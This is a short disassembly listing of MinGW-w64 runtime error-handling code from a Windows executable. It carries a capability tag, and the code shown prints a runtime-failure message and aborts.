mov qword [0x1400c7c20], rax
call rbx
mov qword [0x1400c7c18], rax
call rbx
mov byte [0x1400c70a0], 1
mov qword [0x1400c7c10], rax
jmp 0x14008f017
lea rcx, str.Error__corrupted_constants_object
call sub.msvcrt.dll_puts
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x140091590
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.1400a2d10
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.1400a2d10
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop